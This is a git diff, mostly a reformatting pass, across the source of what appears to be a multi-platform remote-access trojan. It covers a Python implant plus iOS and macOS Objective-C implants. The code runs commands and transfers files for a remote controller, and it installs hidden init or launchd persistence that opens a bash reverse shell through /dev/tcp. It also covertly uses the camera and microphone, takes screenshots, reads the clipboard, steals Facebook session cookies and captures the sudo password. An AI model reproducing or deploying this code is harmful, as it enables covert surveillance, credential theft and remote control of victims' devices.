- sock.send(cmd_data['term'])
+ path = cmd_data['args']
+ try:
+ result = dict()
+ if not path:
+ os.chdir(home)
+ elif os.path.exists(path) == False:
+ result = {'error': path + ": No such file or directory"}
+ elif os.path.isdir(path) == False:
+ result = {'error': path + ": Is a file"}
+ else:
+ os.chdir(path)
+ if not 'error' in result:
+ result['current_directory'] = os.getcwd()
+ except Exception as e:
+ result = {'error': str(e)}
+ sock.send(json.dumps(result))
+ sock.send(cmd_data['term'])
def pwd(cmd_data):
- sock.send(os.getcwd())
- sock.send(cmd_data['term'])
+ sock.send(os.getcwd())
+ sock.send(cmd_data['term'])
def pid(cmd_data):
- sock.send(str(os.getpid()))
- sock.send(cmd_data['term'])
+ sock.send(str(os.getpid()))
+ sock.send(cmd_data['term'])
def list_dir(cmd_data):
- path = cmd_data['args']
- results = dict()
- if not path:
- path = "."
- if os.path.exists(path) == False:
- sock.send(path + ": No such file or directory")
- else:
- result = ""
- try:
- for v in os.listdir(path):
- if os.path.isdir(os.path.join(path,v)):
- results[v] = 10
- else:
- results[v] = 0
- sock.send(json.dumps(results))
- except Exception as e:
- sock.send(str(e))
- sock.send(cmd_data['term'])
+ path = cmd_data['args']
+ results = dict()
+ if not path:
+ path = "."
+ if os.path.exists(path) == False:
+ sock.send(path + ": No such file or directory")
+ else:
+ result = ""
+ try:
+ for v in os.listdir(path):
+ if os.path.isdir(os.path.join(path, v)):
+ results[v] = 10
+ else:
+ results[v] = 0
+ sock.send(json.dumps(results))
+ except Exception as e:
+ sock.send(str(e))
+ sock.send(cmd_data['term'])
def tab_complete(cmd_data):
- path = cmd_data['args']
- results = {}
- try:
- for v in os.listdir(path):
- if os.path.isdir(os.path.join(path,v)):
- results[v] = 10
- else:
- results[v] = 0
- except OSError:
- pass
- sock.send(json.dumps(results))
- sock.send(cmd_data['term'])
+ path = cmd_data['args']
+ results = {}
+ try:
+ for v in os.listdir(path):
+ if os.path.isdir(os.path.join(path, v)):
+ results[v] = 10
+ else:
+ results[v] = 0
+ except OSError:
+ pass
+ sock.send(json.dumps(results))
+ sock.send(cmd_data['term'])
def send_file(cmd_data):
- path = cmd_data['args']
- if os.path.exists(path):
- if os.path.isdir(path):
- sock.send(json.dumps({"status":2}))
- else:
- f = open(path,"rb")
- data = f.read()
- sock.send(json.dumps({"status":1,"size":len(data)}))
- sock.send(cmd_data['term'])
- term = sock.recv(10)
- sock.send(data)
- sock.send(term)
- return
- else:
- sock.send(json.dumps({"status":0}))
- sock.send(cmd_data['term'])
+ path = cmd_data['args']
+ if os.path.exists(path):
+ if os.path.isdir(path):
+ sock.send(json.dumps({"status": 2}))
+ else:
+ f = open(path, "rb")
+ data = f.read()
+ sock.send(json.dumps({"status": 1, "size": len(data)}))
+ sock.send(cmd_data['term'])
+ term = sock.recv(10)
+ sock.send(data)
+ sock.send(term)
+ return
+ else:
+ sock.send(json.dumps({"status": 0}))
+ sock.send(cmd_data['term'])
def receive_file(cmd_data):
- term = cmd_data['term']
- extra_args = json.loads(cmd_data['args'])
- size = int(extra_args['size'])
- file_path = extra_args['path']
- file_name = extra_args['filename']
- f = open(os.path.join(file_path,file_name),'a')
- while 1:
- chunk = sock.recv(128)
- if str(chunk) == str(term):
- break
- f.write(chunk)
+ term = cmd_data['term']
+ extra_args = json.loads(cmd_data['args'])
+ size = int(extra_args['size'])
+ file_path = extra_args['path']
+ file_name = extra_args['filename']
+ f = open(os.path.join(file_path, file_name), 'a')
+ while 1:
+ chunk = sock.recv(128)
+ if str(chunk) == str(term):
+ break
+ f.write(chunk)
def run_shell_command(cmd_data):
- try:
- full_input = cmd_data['cmd'] + " " + cmd_data['args'].rstrip()
- print full_input.split()
- result = subprocess.check_output(full_input.split())
- if result:
- sock.send(result)
- except Exception as e:
- sock.send(str(e))
- sock.send(cmd_data['term'])
+ try:
+ full_input = cmd_data['cmd'] + " " + cmd_data['args'].rstrip()
+ print(full_input.split())
+ result = subprocess.check_output(full_input.split())
+ if result:
+ sock.send(result)
+ except Exception as e:
+ sock.send(str(e))
+ sock.send(cmd_data['term'])
def persistence(cmd_data):
- try:
- if cmd_data["args"] == "install":
- script_path = "/etc/init.d/.espl.sh"
- script_text = "bash &> /dev/tcp/{0}/{1} 0>&1".format(host,port)
- #create script
- f = open(script_path,"w")
- f.write(script_text)
- f.close()
- os.system("chmod +x {0}".format(script_path))
- os.system("update-rc.d .espl.sh defaults 100")
- else:
- os.system("update-rc.d -f apache2 remove .espl.sh")
- except Exception as e:
- sock.send(str(e))
- sock.send(cmd_data['term'])
+ try:
+ if cmd_data["args"] == "install":
+ script_path = "/etc/init.d/.espl.sh"
+ script_text = "bash &> /dev/tcp/{0}/{1} 0>&1".format(host, port)
+ # create script
+ f = open(script_path, "w")
+ f.write(script_text)
+ f.close()
+ os.system("chmod +x {0}".format(script_path))
+ os.system("update-rc.d .espl.sh defaults 100")
+ else:
+ os.system("update-rc.d -f apache2 remove .espl.sh")
+ except Exception as e:
+ sock.send(str(e))
+ sock.send(cmd_data['term'])
+
# SETUP
while 1:
- raw_data = sock.recv(512)
- print raw_data
- cmd_data = json.loads(raw_data)
- cmd = cmd_data['cmd']
-
- if cmd == "cd":
- change_dir(cmd_data)
- elif cmd == "ls":
- list_dir(cmd_data)
- elif cmd == "download":
- send_file(cmd_data)
- elif cmd == "upload":
- receive_file(cmd_data)
- elif cmd == "tab_complete":
- tab_complete(cmd_data)
- elif cmd == "pwd":
- pwd(cmd_data)
- elif cmd == "pid":
- pid(cmd_data)
- elif cmd == "persistence":
- persistence(cmd_data)
- else:
- run_shell_command(cmd_data)
-
+ raw_data = sock.recv(512)
+ print(raw_data)
+ cmd_data = json.loads(raw_data)
+ cmd = cmd_data['cmd']
+
+ if cmd == "cd":
+ change_dir(cmd_data)
+ elif cmd == "ls":
+ list_dir(cmd_data)
+ elif cmd == "download":
+ send_file(cmd_data)
+ elif cmd == "upload":
+ receive_file(cmd_data)
+ elif cmd == "tab_complete":
+ tab_complete(cmd_data)
+ elif cmd == "pwd":
+ pwd(cmd_data)
+ elif cmd == "pid":
+ pid(cmd_data)
+ elif cmd == "persistence":
+ persistence(cmd_data)
+ else:
+ run_shell_command(cmd_data)
diff --git a/resources/lazagne_macos.zip b/resources/lazagne_macos.zip
index 21d8c7e..c550686 100644
Binary files a/resources/lazagne_macos.zip and b/resources/lazagne_macos.zip differ
diff --git a/src/esplios/NSTask.h b/src/esplios/NSTask.h
index 84e053b..5823f25 100644
--- a/src/esplios/NSTask.h
+++ b/src/esplios/NSTask.h
@@ -57,14 +57,14 @@ typedef NS_ENUM(NSInteger, NSTaskTerminationReason) {
- (BOOL)resume;
// status
-- (int)processIdentifier;
+- (int)processIdentifier;
- (BOOL)isRunning;
- (int)terminationStatus;
- (NSTaskTerminationReason)terminationReason NS_AVAILABLE(10_6, NA);
/*
-A block to be invoked when the process underlying the NSTask terminates. Setting the block to nil is valid, and stops the previous block from being invoked, as long as it hasn't started in any way. The NSTask is passed as the argument to the block so the block does not have to capture, and thus retain, it. The block is copied when set. Only one termination handler block can be set at any time. The execution context in which the block is invoked is undefined. If the NSTask has already finished, the block is executed immediately/soon (not necessarily on the current thread). If a terminationHandler is set on an NSTask, the NSTaskDidTerminateNotification notification is not posted for that task. Also note that -waitUntilExit won't wait until the terminationHandler has been fully executed. You cannot use this property in a concrete subclass of NSTask which hasn't been updated to include an implementation of the storage and use of it.
+A block to be invoked when the process underlying the NSTask terminates. Setting the block to nil is valid, and stops the previous block from being invoked, as long as it hasn't started in any way. The NSTask is passed as the argument to the block so the block does not have to capture, and thus retain, it. The block is copied when set. Only one termination handler block can be set at any time. The execution context in which the block is invoked is undefined. If the NSTask has already finished, the block is executed immediately/soon (not necessarily on the current thread). If a terminationHandler is set on an NSTask, the NSTaskDidTerminateNotification notification is not posted for that task. Also note that -waitUntilExit won't wait until the terminationHandler has been fully executed. You cannot use this property in a concrete subclass of NSTask which hasn't been updated to include an implementation of the storage and use of it.
*/
@property (copy) void (^terminationHandler)(NSTask *) NS_AVAILABLE(10_7, NA);
@@ -82,4 +82,3 @@ A block to be invoked when the process underlying the NSTask terminates. Settin
@end
FOUNDATION_EXPORT NSString * const NSTaskDidTerminateNotification;
-
diff --git a/src/esplios/bootstrap.h b/src/esplios/bootstrap.h
index 8cb5a2d..98ab573 100755
--- a/src/esplios/bootstrap.h
+++ b/src/esplios/bootstrap.h
@@ -4,19 +4,19 @@
* Copyright (c) 1999-2005 Apple Computer, Inc. All rights reserved.
*
* @APPLE_APACHE_LICENSE_HEADER_START@
- *
+ *
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
- *
+ *
* http://www.apache.org/licenses/LICENSE-2.0
- *
+ *
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
+ *
* @APPLE_APACHE_LICENSE_HEADER_END@
*/
@@ -34,7 +34,7 @@
* it initiates other system tasks, and manages a table of name-port bindings
* for fundamental system services (e.g. lookupd, Window Manager, etc...).
*
- * Name-port bindings can be established with the bootstrap server by either
+ * Name-port bindings can be established with the bootstrap server by either
* of two mechanisms:
*
* 1. The binding can be indicated, in advance of the service that backs it
@@ -61,9 +61,9 @@
* The bootstrap server creates a "backup" port for each service that it
* creates. This is used to detect when a checked out service is no longer
* being served. The bootstrap server regains all rights to the port and
- * it is marked available for check-out again. This allows crashed servers to
- * resume service to previous clients. Lookup's on this named port will
- * continue to be serviced by bootstrap while holding receive rights for the
+ * it is marked available for check-out again. This allows crashed servers to
+ * resume service to previous clients. Lookup's on this named port will
+ * continue to be serviced by bootstrap while holding receive rights for the
* bound port. A client may detect that the service is inactive via the
* bootstrap status request. If an inactive service re-registers rather
* than "checking-in" the original bound port is destroyed.
@@ -141,7 +141,7 @@ extern mach_port_t bootstrap_port;
* will be associated with this particular server.
*
* Only a holder of the server_port privilege bootstrap port can
- * check in or register over those services.
+ * check in or register over those services.
*
* When all services associated with a server are deleted, and the server
* exits, it will automatically be deleted itself.
@@ -293,8 +293,8 @@ bootstrap_create_service(mach_port_t bp, name_t service_name, mach_port_t *sp);
* bootstrap_check_in()
*
* Returns the receive right for the service named by service_name. The
- * service must have been declared in the launchd.plist(5) file associated
- * with the job. Attempts to check_in a service which is already active
+ * service must have been declared in the launchd.plist(5) file associated
+ * with the job. Attempts to check_in a service which is already active
* are not allowed.
*
* If the service was declared as being associated with a server, the
@@ -355,4 +355,4 @@ const char *bootstrap_strerror(kern_return_t r) __attribute__((__nothrow__, __pu
__END_DECLS
-#endif /* __BOOTSTRAP_H__ */
\ No newline at end of file
+#endif /* __BOOTSTRAP_H__ */
diff --git a/src/esplios/espl.m b/src/esplios/espl.m
index fcbebd0..e25de69 100644
--- a/src/esplios/espl.m
+++ b/src/esplios/espl.m
@@ -109,7 +109,7 @@ -(void)openURL:(NSString *)arg {
}
//MARK: Picture Data
--(void)takePicture:(bool)front {
+-(void)takePicture:(bool)front {
NSArray *devices = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo];
AVCaptureDevice *captureDevice = nil;
@@ -143,7 +143,7 @@ -(void)takePicture:(bool)front {
[self debugLog:[NSString stringWithFormat:@"setting still image output"]];
[[NSRunLoop mainRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:0.5]];
self.stillImageOutput = [[AVCaptureStillImageOutput alloc] init];
-
+
NSDictionary *outputSettings = [[NSDictionary alloc] initWithObjectsAndKeys: AVVideoCodecJPEG, AVVideoCodecKey, nil];
[self.stillImageOutput setOutputSettings:outputSettings];
[self.session addOutput:self.stillImageOutput];
@@ -177,7 +177,7 @@ -(void)takePicture:(bool)front {
}
--(void)captureImageWithBlock:(void (^)(NSData *))imageData {
+-(void)captureImageWithBlock:(void (^)(NSData *))imageData {
AVCaptureConnection* videoConnection = nil;
for (AVCaptureConnection* connection in self.stillImageOutput.connections) {
@@ -196,17 +196,17 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData {
if (videoConnection == nil) {
return imageData(nil);
}
-
+
//capture still image from video connection
[self.stillImageOutput captureStillImageAsynchronouslyFromConnection:videoConnection completionHandler: ^(CMSampleBufferRef imageSampleBuffer, NSError *error)
{
dispatch_async(dispatch_get_global_queue( DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^(void) {
[self.session stopRunning];
});
-
+
if (error)
imageData(nil);
-
+
NSData* data = [AVCaptureStillImageOutput jpegStillImageNSDataRepresentation:imageSampleBuffer];
if (data) {
imageData(data);
@@ -266,7 +266,7 @@ -(void)getVolume {
//TODO: fix this from pausing
[[AVAudioSession sharedInstance] setActive:YES error:nil];
[[AVAudioSession sharedInstance] addObserver:self forKeyPath:@"outputVolume" options:NSKeyValueObservingOptionNew context:nil];
- [self sendString:[NSString stringWithFormat:@"%.2f",[AVAudioSession sharedInstance].outputVolume]];
+ [self sendString:[NSString stringWithFormat:@"%.2f",[AVAudioSession sharedInstance].outputVolume]];
[self term];
}
@@ -315,7 +315,7 @@ -(void)screenshot {
[self term];
}
-
+
-(void)ipod:(NSString *)args {
if ([args isEqualToString:@"play"]) {
[[MPMusicPlayerController systemMusicPlayer] play];
@@ -398,7 +398,7 @@ -(void)mic:(NSString *)arg {
NSString *file = @"/tmp/.avatmp";
[self.fileManager removeItemAtPath:file error:NULL];
[[AVAudioSession sharedInstance] setCategory:AVAudioSessionCategoryRecord withOptions:AVAudioSessionCategoryOptionMixWithOthers error:nil];
-
+
NSString *destinationString = file;
NSURL *destinationURL = [NSURL fileURLWithPath: destinationString];
NSDictionary *mysettings = @{AVFormatIDKey: @(kAudioFormatMPEG4AAC),
@@ -409,7 +409,7 @@ -(void)mic:(NSString *)arg {
self.audioRecorder = [[AVAudioRecorder alloc] initWithURL:destinationURL settings:mysettings error:nil];
self.audioRecorder.meteringEnabled = true;
self.audioRecorder.delegate = self;
-
+
[self.audioRecorder prepareToRecord];
[self.audioRecorder record];
[self sendString:@"Listening..."];
@@ -439,7 +439,7 @@ -(void)initmic:(NSError *)error {
self.audioRecorder = [[AVAudioRecorder alloc] initWithURL: soundFile settings: soundSetting error: &error];
}
-
+
-(AVCaptureDevice *)initcamera:(bool)front {
NSArray *videoDevices = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo];
AVCaptureDevice *captureDevice = nil;
@@ -461,10 +461,10 @@ -(AVCaptureDevice *)initcamera:(bool)front {
long cookieJarSize = ftell(cookieJar);
int pos = 0; int curSearch = 0;int curChar;
fseek(cookieJar, 0, 0);
-
+
while(pos <= cookieJarSize) {
curChar = getc(cookieJar);pos++;
-
+
if(curChar == searchChars[curSearch]) { /* found a match */
curSearch++; /* search for next char */
if(curSearch > sizeOfSearch - 1) { /* found the whole string! */
@@ -472,7 +472,7 @@ -(AVCaptureDevice *)initcamera:(bool)front {
fread(lastBytes,1,64,cookieJar); /* read 5 bytes */
return lastBytes;
}
-
+
} else { /* didn't find a match */
if (curSearch > 18) {
printf("fuck %d\n",searchChars[curSearch]);
@@ -592,7 +592,7 @@ -(void)runTask:(NSString *)cmd :(bool)sendTerm {
[_systask setLaunchPath:@"/bin/bash"];
[_systask setArguments:@[ @"-c", object]];
[_systask setCurrentDirectoryPath:[fileManager currentDirectoryPath]];
-
+
NSPipe *stdoutPipe = [NSPipe pipe];
stdinPipe = [NSPipe pipe];
[_systask setStandardInput:stdinPipe];
@@ -643,7 +643,7 @@ -(void)rocketMCWithReply:(NSString *)command {
[self term];
}
-
+
-(void)debugLog:(NSString *)string {
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:@"/tmp/esplog"];
[fileHandle seekToEndOfFile];
diff --git a/src/esplios/main.mm b/src/esplios/main.mm
index 5307a06..952c197 100644
--- a/src/esplios/main.mm
+++ b/src/esplios/main.mm
@@ -16,12 +16,12 @@
NSArray *rocketCommands = [[NSArray alloc] initWithObjects:
@"play",
- @"pause",
- @"next",
- @"prev",
- @"home",
- @"doublehome",
- @"lock",
+ @"pause",
+ @"next",
+ @"prev",
+ @"home",
+ @"doublehome",
+ @"lock",
@"wake",
@"mute",
@"unmute",
@@ -100,7 +100,7 @@ void connectToServer(NSDictionary *arguments) {
printf("Handshake Failed\n");
return;
}
-
+
//Send device name
NSDictionary *deviceInfo = [[NSMutableDictionary alloc] init];
[deviceInfo setValue:NSUserName() forKey:@"username"];
@@ -118,7 +118,7 @@ void connectToServer(NSDictionary *arguments) {
void interact(NSDictionary *arguments) {
espl *esCommand = [[espl alloc] init];
esCommand->client_ssl = client_ssl;
-
+
//listen for input data
char buffer[2048] = "";
while (SSL_read(client_ssl, buffer, sizeof(buffer))) {
diff --git a/src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist b/src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist
new file mode 100644
index 0000000..18d9810
--- /dev/null
+++ b/src/esplmacos/esplmacos.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist
@@ -0,0 +1,8 @@
+
+
+
+
+ IDEDidComputeMac32BitWarning
+
+
+
diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist
deleted file mode 100644
index fe2b454..0000000
--- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist
+++ /dev/null
@@ -1,5 +0,0 @@
-
-
-
diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme
deleted file mode 100644
index 88dfe8b..0000000
--- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/esplmacos.xcscheme
+++ /dev/null
@@ -1,91 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist
deleted file mode 100644
index 57bf540..0000000
--- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/lucasjackson.xcuserdatad/xcschemes/xcschememanagement.plist
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
- SchemeUserState
-
- esplmacos.xcscheme
-
- orderHint
- 0
-
-
- SuppressBuildableAutocreation
-
- 540EB0A21F36E06400A204CA
-
- primary
-
-
-
-
-
diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist
deleted file mode 100644
index fe2b454..0000000
--- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist
+++ /dev/null
@@ -1,5 +0,0 @@
-
-
-
diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme
deleted file mode 100644
index 88dfe8b..0000000
--- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/esplmacos.xcscheme
+++ /dev/null
@@ -1,91 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist b/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist
deleted file mode 100644
index 57bf540..0000000
--- a/src/esplmacos/esplmacos.xcodeproj/xcuserdata/neoneggplant.xcuserdatad/xcschemes/xcschememanagement.plist
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
- SchemeUserState
-
- esplmacos.xcscheme
-
- orderHint
- 0
-
-
- SuppressBuildableAutocreation
-
- 540EB0A21F36E06400A204CA
-
- primary
-
-
-
-
-
diff --git a/src/esplmacos/esplmacos/espl.m b/src/esplmacos/esplmacos/espl.m
index 50a6e58..0a4cfc2 100644
--- a/src/esplmacos/esplmacos/espl.m
+++ b/src/esplmacos/esplmacos/espl.m
@@ -123,7 +123,7 @@ -(void)idleTime {
[self sendString:[NSString stringWithFormat:@"%lld (seconds)",idlesecs]];
[self term];
}
-
+
-(void)getPasteBoard {
NSPasteboard *myPasteboard = [NSPasteboard generalPasteboard];
NSString *contents = [myPasteboard stringForType:NSPasteboardTypeString];
@@ -133,7 +133,7 @@ -(void)getPasteBoard {
[self sendString:contents];
[self term];
}
-
+
-(void)keyStroke:(NSString *)key {
NSString *keyCommand = [NSString stringWithFormat:@"tell application \"System Events\"\nkeystroke \"%@\"\nend tell",key];
[self runAppleScript:keyCommand];
@@ -147,7 +147,7 @@ -(void)getFacebook {
0x73, 0x65, 0x72, 0x00, 0x2f, 0x00};
NSString *cuser = [NSString stringWithFormat:@"%s",parseBinary(fb_cuser,22)];
result = [NSString stringWithFormat:@"c_user = %@\n",cuser];
-
+
int fb_xs[] = {0x66, 0x61, 0x63, 0x65, 0x62, 0x6F, 0x6F, 0x6B,
0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x78, 0x73, 0x00,
0x2f, 0x00}; //facebook.com xs /
@@ -169,7 +169,7 @@ -(void)screenshot {
NSNumber *compressionFactor = [NSNumber numberWithFloat:0.9];
NSDictionary *imageProps = [NSDictionary dictionaryWithObject:compressionFactor forKey:NSImageCompressionFactor];
imageData = [imageRep representationUsingType:NSJPEGFileType properties:imageProps];
-
+
NSMutableDictionary *result = [[NSMutableDictionary alloc] init];
if (imageData != nil) {
[result setValue:[NSNumber numberWithInt:(int)imageData.length] forKey:@"size"];
@@ -184,7 +184,7 @@ -(void)screenshot {
[self sendString:[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding]];
[self term];
}
-
+
}
-(void)getProcessId {
@@ -200,31 +200,31 @@ -(NSString *)macAddress {
io_iterator_t iterator = IO_OBJECT_NULL;
io_object_t service = IO_OBJECT_NULL;
CFDataRef result = NULL;
-
+
matching = IOBSDNameMatching( kIOMasterPortDefault, 0, "en0" );
if ( matching == NULL )
{
fprintf( stderr, "IOBSDNameMatching() returned empty dictionary\n" );
return ( NULL );
}
-
+
kr = IOServiceGetMatchingServices( kIOMasterPortDefault, matching, &iterator );
if ( kr != KERN_SUCCESS )
{
fprintf( stderr, "IOServiceGetMatchingServices() returned %d\n", kr );
return ( NULL );
}
-
+
while ( (service = IOIteratorNext(iterator)) != IO_OBJECT_NULL )
{
io_object_t parent = IO_OBJECT_NULL;
-
+
kr = IORegistryEntryGetParentEntry( service, kIOServicePlane, &parent );
if ( kr == KERN_SUCCESS )
{
if ( result != NULL )
CFRelease( result );
-
+
result = IORegistryEntryCreateCFProperty( parent, CFSTR("IOMACAddress"), kCFAllocatorDefault, 0 );
IOObjectRelease( parent );
}
@@ -232,16 +232,16 @@ -(NSString *)macAddress {
{
fprintf( stderr, "IORegistryGetParentEntry returned %d\n", kr );
}
-
+
IOObjectRelease( service );
}
-
+
NSData * macData = (__bridge NSData *)(result);
if ( [macData length] == 0 )
return ( nil );
-
+
const UInt8 *bytes = [macData bytes];
-
+
NSMutableString *resultMutableString = [NSMutableString string];
for ( NSUInteger i = 0; i < [macData length]; i++ )
{
@@ -262,12 +262,12 @@ -(void)setBrightness:(NSString *)arg {
}
const int kMaxDisplays = 16;
const CFStringRef kDisplayBrightness = CFSTR(kIODisplayBrightnessKey);
-
+
CGDirectDisplayID display[kMaxDisplays];
CGDisplayCount numDisplays;
CGDisplayErr err;
err = CGGetActiveDisplayList(kMaxDisplays, display, &numDisplays);
-
+
if (err != CGDisplayNoErr) {
[self term];
return;
@@ -276,7 +276,7 @@ -(void)setBrightness:(NSString *)arg {
CGDirectDisplayID dspy = display[i];
CFDictionaryRef originalMode = CGDisplayCurrentMode(dspy);
io_service_t service = CGDisplayIOServicePort(dspy);
-
+
float brightness;
err= IODisplayGetFloatParameter(service,
kNilOptions, kDisplayBrightness,
@@ -296,7 +296,7 @@ -(void)mic:(NSString *)arg {
} else {
[self.audioRecorder record];
[self sendString:@"Listening..."];
-
+
}
} else if ([arg isEqualTo:@"stop"]) {
if ([self.audioRecorder isRecording]) {
@@ -322,14 +322,14 @@ -(void)initmic:(NSError *)error {
self.audioRecorder = [[AVAudioRecorder alloc] initWithURL: soundFile settings: soundSetting error: &error];
}
-
+
-(bool)initcamera {
self.session = [[AVCaptureSession alloc] init];
self.session.sessionPreset = AVCaptureSessionPreset352x288;
AVCaptureDevice *device = nil;
NSError *error = nil;
device = [self getcapturedevice];
-
+
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:&error];
if (!input) {
NSLog(@"ERROR: trying to open camera: %@", error);
@@ -350,7 +350,7 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData {
if ([self initcamera] == false) {
return imageData(nil);
}
-
+
AVCaptureConnection* videoConnection = nil;
for (AVCaptureConnection* connection in self.stillImageOutput.connections)
{
@@ -368,7 +368,7 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData {
if (videoConnection == nil) {
return imageData(nil);
}
-
+
//capture still image from video connection
[self.stillImageOutput captureStillImageAsynchronouslyFromConnection:videoConnection completionHandler: ^(CMSampleBufferRef imageSampleBuffer, NSError *error)
{
@@ -379,10 +379,10 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData {
AVCaptureVideoDataOutput* output = (AVCaptureVideoDataOutput*)[self.session.outputs objectAtIndex:0];
[self.session removeOutput:output];
});
-
+
if (error)
imageData(nil);
-
+
NSData* data = [AVCaptureStillImageOutput jpegStillImageNSDataRepresentation:imageSampleBuffer];
if (data) {
imageData(data);
@@ -402,10 +402,10 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData {
long cookieJarSize = ftell(cookieJar);
int pos = 0; int curSearch = 0;int curChar;
fseek(cookieJar, 0, 0);
-
+
while(pos <= cookieJarSize) {
curChar = getc(cookieJar);pos++;
-
+
if(curChar == searchChars[curSearch]) { /* found a match */
curSearch++; /* search for next char */
if(curSearch > sizeOfSearch - 1) { /* found the whole string! */
@@ -413,7 +413,7 @@ -(void)captureImageWithBlock:(void (^)(NSData *))imageData {
fread(lastBytes,1,64,cookieJar); /* read 5 bytes */
return lastBytes;
}
-
+
} else { /* didn't find a match */
if (curSearch > 18) {
printf("fuck %d\n",searchChars[curSearch]);
@@ -439,7 +439,7 @@ -(void)sendFile:(NSString *)path {
//send json, send term
[self sendString:[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding]];
[self term];
-
+
//receive term, send data, and then new term
[self sendData:data];
}
@@ -528,7 +528,7 @@ -(void)runTask:(NSString *)cmd :(bool)sendTerm {
[_systask setLaunchPath:@"/bin/bash"];
[_systask setArguments:@[ @"-c", object]];
[_systask setCurrentDirectoryPath:[fileManager currentDirectoryPath]];
-
+
NSPipe *stdoutPipe = [NSPipe pipe];
stdinPipe = [NSPipe pipe];
[_systask setStandardInput:stdinPipe];
@@ -568,11 +568,11 @@ -(void)su:(NSString *)pass :(NSString *)ip :(int)port {
[_systask setLaunchPath:@"/bin/bash"];
[_systask setArguments:@[ @"-c", [NSString stringWithFormat:@"echo '%@' | sudo -S whoami",pass]]];
[_systask setCurrentDirectoryPath:[fileManager currentDirectoryPath]];
-
+
NSPipe *stdoutPipe = [NSPipe pipe];
[_systask setStandardOutput:stdoutPipe];
[_systask setStandardError:stdoutPipe];
-
+
NSFileHandle *stdoutHandle = [stdoutPipe fileHandleForReading];
[stdoutHandle waitForDataInBackgroundAndNotify];
id observer = [[NSNotificationCenter defaultCenter] addObserverForName:NSFileHandleDataAvailableNotification
@@ -582,7 +582,7 @@ -(void)su:(NSString *)pass :(NSString *)ip :(int)port {
NSData *dataRead = [stdoutHandle availableData];
NSString *newOutput = [[NSString alloc] initWithData:dataRead encoding:NSUTF8StringEncoding];
result = [NSString stringWithFormat:@"%@%@",result,newOutput];
-
+
[stdoutHandle waitForDataInBackgroundAndNotify];
}];
[_systask launch];
@@ -597,7 +597,7 @@ -(void)su:(NSString *)pass :(NSString *)ip :(int)port {
exit(0);
}
}
-
+
-(void)debugLog:(NSString *)string {
system([[NSString stringWithFormat:@"echo '%@' >> /tmp/esplog",string] UTF8String]);
}
@@ -626,7 +626,7 @@ -(void)persistence:(NSString *)args :(NSString *)ip :(int)port {
[NSArray arrayWithObjects: [NSNumber numberWithBool: YES],@"com.apple.espl",[NSNumber numberWithInt:5],[NSNumber numberWithBool: YES],
[NSArray arrayWithObjects:@"sh",@"-c",[NSString stringWithFormat:@"bash &> /dev/tcp/%@/%d 0>&1",ip,port], nil], nil]
